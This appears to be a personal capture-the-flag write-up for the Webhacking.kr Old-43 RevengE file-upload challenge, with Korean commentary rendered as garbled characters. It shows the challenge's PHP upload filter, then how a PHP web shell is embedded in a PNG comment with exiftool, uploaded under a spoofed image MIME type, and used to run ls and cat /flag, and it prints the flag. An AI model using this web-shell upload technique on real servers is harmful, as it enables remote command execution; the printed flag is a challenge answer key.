[Solved in under 58 minutes]
๊ณ์ ๊พธ์คํ ํด๊ทผํ๊ณ ๋ ๊ณต๋ถํด์ผํ๋ค..
์ ํ๋ ์ฌ๋๋ค์ด ๋๋ฌด ๋ง์์ ๋์ฑ ์ด์ฌํ ํด์ผํ๋ค....
๋ชจ๋ ์ง์ฅ์ธ๋ค ํ์ดํ !
๊ฐ๋ณด์

<html>
<head>
<title>Challenge 43 RevengE</title>
</head>
<body>
<hr>
You must upload webshell and cat <b>/flag</b>
<hr>
<?php
if(isset($_FILES['file'])){
$type = $_FILES['file']['type'];
$name = $_FILES['file']['name'];
if(!$type) { exit("type not detected"); }
if(preg_match("/\.\.|\/|\\\|\.htaccess/",$name)) exit("dont do that");
if(preg_match("/text\/|application\/octet-stream/i",$type)) exit("wrong type");
$image = new Imagick();
$image->readImage($_FILES['file']['tmp_name']);
$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
$image->writeImage("./upload/".$name);
echo "Done!<br><br><a href=./upload/{$name}>./upload/{$name}</a>";
}
?>
<form method=post enctype="multipart/form-data" action=index.php>
<input name=file type=file><input type=submit>
</form>
<hr><?php highlight_file(__FILE__); ?>
</body>
</html>
์ผ๋จ์ ๋๊ฐ๋ด๋ ํ์ผ ์ ๋ก๋ ์ทจ์ฝ์ ์ด๋ค ๊ทธ๋ฆฌ๊ณ ์ฝ๋๋ฅผ ๋ฐ๋ก ๋ณด์ฌ์ค๋ค.
์ฝ๋๋ฅผ ๊ฐ๋จํ๊ฒ ํด์ํ๋ฉด ../, \, .htaccess ๋ ํํฐ๋ง์ ๊ฑธ๋ฆฌ๊ณ ์ถ๊ฐ๋ก MIMEํ์ ์ด application, octet-stream, text ์ด๋ฉด ๊ฑธ๋ฆฐ๋ค
๊ทธ๋ฆฌ๊ณ ๋ฐ์ $image๋ก ํ์ผ์ ์ฝ๊ณ ์ฐ๋? ๊ทธ๋ฐ๊ฑฐ๋ผ ์๊ฐํ๋ค. ์์งํ ์ ๋ชจ๋ฅด๊ฒ ๋ค.
์ฌ๊ธฐ์ ์ค์ํ ์ ์ .php ํ์ฅ์๋ ํํฐ๋ง์ ํ์ง ์๋๋ค๋ ๊ฒ
์ผ๋จ ํด๋ณด์

๊ทธ๋ฅ ์๋ฌด phpํ์ผ์ ์ฌ๋ ค๋ดค๋๋ฐ ์ญ์๋ ์๋๋ค ์๋ฌด๋๋ MIME ํ์
์ด application/text etc.. ์ด๋ฐ๊ฑธ๋ก ๋ค์ด๊ฐ์๊ฑฐ๋ผ๊ณ ์์์ด๋๋ค
๊ทธ๋ฆฌํ์ฌ ๋ค๋ฅธ ํ
์คํธ๋ ์งํํ๋ค

MIME ํ์
์ image/png๋ก ๋ฐ๊ฟ์ฃผ๊ณ png์ ๋งค์ง๋๋ฒ๊น์ง ๋ฃ์ด ์คฌ๋๋ฐ

์ ์ํ๋ 404๊ฐ ๋ฌ๋ค
์ฌ๊ธฐ์๋ถํฐ ๋งจ๋ ์ ํค๋ฉ์ ์กฐ๊ธ ์ฌ๋ฌ๋ฒ ํ๋ค๊ฐ ํ๋ฅญํ ๊ฒ์ ๋ฐ๊ฒฌํ๋ค.
์ด๋ฏธ์ง์๋ ์ฒญํฌ๋ผ๊ณ ์ ํจํ ๋ฐ์ดํฐ๋ค์ด ๋ธ๋ก๋จ์๋ก ์๋๊ฒ์ด ์๋ค.
์๋ฌด๋๋ ๊ทธ ๋ถ๋ถ ์ด์ธ์๋ ์ทจ๊ธ์ ์ํ๋ค๊ณ ํ๋ค.
๊ทธ๋์ ํด์ ์์๋ณด๋ค๊ฐ exiftool ๋ผ๋ ๊ฒ์ ๋ฐ๊ฒฌํ๋ค.
์ํ๋ ๋ช
๋ น์ด๋ฅผ ์ ํจํ ๋ฉํ๋ฐ์ดํฐ ์ฒญํฌ ์์ ์ฝ์
์ด ๊ฐ๋ฅํ๋ค๊ณ ํด์ ๋ฐ๋ก ํด ๋ดค๋ค.
์ฝ๊ฐ ์คํ ๊ฐ๋ ธ๊ทธ๋ํผ๋ฅผ ํ ์ ์์ ๊ฒ๋ง ๊ฐ๋ค. ํด๋ณด๊ณ ์ถ๋ค..
anyway
ํด๋ณด์

convert -size 1x1 xc:white aa.png
์ด๋ฏธ์ง๋ฅผ ํ๋ ์์ฑํด์ฃผ๊ณ

exiftool -PNG:Comment='<?php system($_GET["cmd"]); ?>' -overwrite_original aa.png
์ด๋ฏธ์ง ์ฒญํฌ์์ <\?php system($_GET["cmd"]); ?> ์ฝ๋ ์ฝ์
ํด์ฃผ๋ฉด

์ ๋ค์ด๊ฐ ๊ฒ์ ์ ์ ์๋ค.
MIME ํ์
์ ์ด๋ฏธ์ง๋ก ๋ฐ๊ฟ์ฃผ๋

ํํฐ๋ง์ ๊ฑธ๋ฆฌ์ง๋ ์๊ณ ์ ๋ค์ด๊ฐ๋ค!

?cmd=ls
๋ช
๋ น์ด๊ฐ ์ ๋จนํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๋ช
๋ น์ด๊ฐ ์ฒญํฌ์ ์ค๊ฐ? ์ฏค์ ์์นํ๋ค๋ณด๋ ์๋ค๋ก ์ด๋ฏธ์ง์ ๋ฐ์ดํฐ๋ค์ด ๋ณด์ด์ง๋ง ์ ๊ฒฝ์์จ๋ ๋๋ค.
flag๋ /flag ๊ฒฝ๋ก์ ์๋ค๊ณ ํ๋

?cmd=cat /flag
๋ฃ์ด์ฃผ๋ ๋ฐ๋ก ์ ๋ณด์ธ๋ค..
์ด๊ฑฐ ์ด๋ ๊ฒ ์ฝ๊ฒ ํธ๋๊ฑฐ ๋ง๋ ์ถ๋ค.

ใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
ก ๋ต ใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
ก
FLAG{thank_you_q-roland}
ใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
กใ
ก
์ผ~ํธ!!!! 150์ !!! ๊ทผ๋ฐ ๊ฐ์ธ์ ์ผ๋ก 150์ ๊ธ์ธ ๋๋์ด ๋ณ๋ก ์๋ญ๋๋ค..
์ฝ์งํ๊ฑฐ ์๊ฐํด๋ 50์ ..? ๋ด๊ฐ ์ด ๋ฌธ์ ์ ํต์ฌ์๋ฆฌ๋ฅผ ์ ๋ชฐ๋ผ์ ๊ทธ๋ฐ๊ฑธ์๋..!?
๋ญ ์ด๋ ์ฌ๋ฐ์ผ๋ฉด ๋์ง
Webhacking.kr Old-43 RevengE๐ Write-up
์ด์ ๋ณด๊ณ ๋!